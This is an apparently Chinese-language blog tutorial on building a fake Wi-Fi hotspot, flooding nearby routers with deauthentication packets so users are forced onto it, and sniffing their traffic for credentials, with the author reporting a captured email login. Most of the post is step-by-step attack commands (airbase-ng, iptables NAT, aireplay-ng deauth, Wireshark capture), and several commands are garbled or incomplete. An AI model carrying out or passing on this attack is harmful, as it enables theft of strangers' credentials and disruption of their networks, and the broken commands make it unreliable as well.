建立假的wifi熱點

本帖介紹怎麼建立假的wifi熱點，然後抓取連線到這個wifi使用者的敏感資料。我們還會給周圍的無線路由器傳送未認證的包，使這些路由器癱瘓，強迫使用者連線（或自動連線）我們建立的假wifi熱點。

這種攻擊也叫」水坑攻擊」－把其他使用者都聚集到乙個」坑」中。

# route -n

這個值在設定iptables時會用到。

用處: 為連線假wifi的使用者分配ip。

# apt-get install isc-dhcp-server

配置dhcp：

# vim /etc/dhcp/dhcpd.conf

檔案中內容：

authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.10.0 netmask 255.255.255.0

先不啟動dhcp服務。

# airmon-ng start wlan0 # airmon-ng check kill

把wlan0替換為你的無線網絡卡介面。

要退出監控模式，執行：

# airmon-ng stop wlan0mon

# airbase-ng -c 11 -e fake_wifi wlan0mon

不要終止這個命令。

現在你已經建立了乙個wifi熱點，但是這個wifi目前還不能連線。

設定網路和防火牆規則

# ifconfig at0 up # ifconfig at0 192.168.10.1 netmask 255.255.255.0 # ifconfig at0 mtu 1400 # route add -net 192.168.10.0 netmask 255.255.255.0 gw 192.168.10.1 # iptables --flush # iptables --table nat --flush # iptables --delete-chain # iptables --table nat --delete-chain # echo 1 > /proc/sys/net/ipv4/ip_forward # iptables -t nat -a prerouting -p udp -j dnat --to 192.168.0.1 # iptables -p forward accept

# dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0 # systemctl start isc-dhcp-server

遇到的問題：

pid file: /var/run/dhcpd.pid can't open lease database /var/lib/dhcp/dhcpd.leases: no such file or directory --

建立這個檔案解決這個問題：

# mkdir /var/lib/dhcp/ # touch /var/lib/dhcp/dhcpd.leases

到此，wifi熱點建立完成

列出周圍的wifi：

# airodump-ng wlan0mon

然後選擇你的目標，記住bssid和頻道。

設定頻道：

# iwconfig wlan0mon channel 《頻道號》

開始deauthentication攻擊：

# aireplay-ng -0 5000 -a wlan0mon --ignore-negative-one

ok，現在你可以愉快的抓包了。

例如使用wireshark抓包：

上圖抓到了我手機郵件客戶端登入的郵箱賬戶。

更多:

建立假的wifi熱點

centos下建立wifi熱點

Win7 建立Wifi熱點

win7建立wifi熱點

建立假的wifi熱點

centos下建立wifi熱點

Win7 建立Wifi熱點

win7建立wifi熱點

相關推薦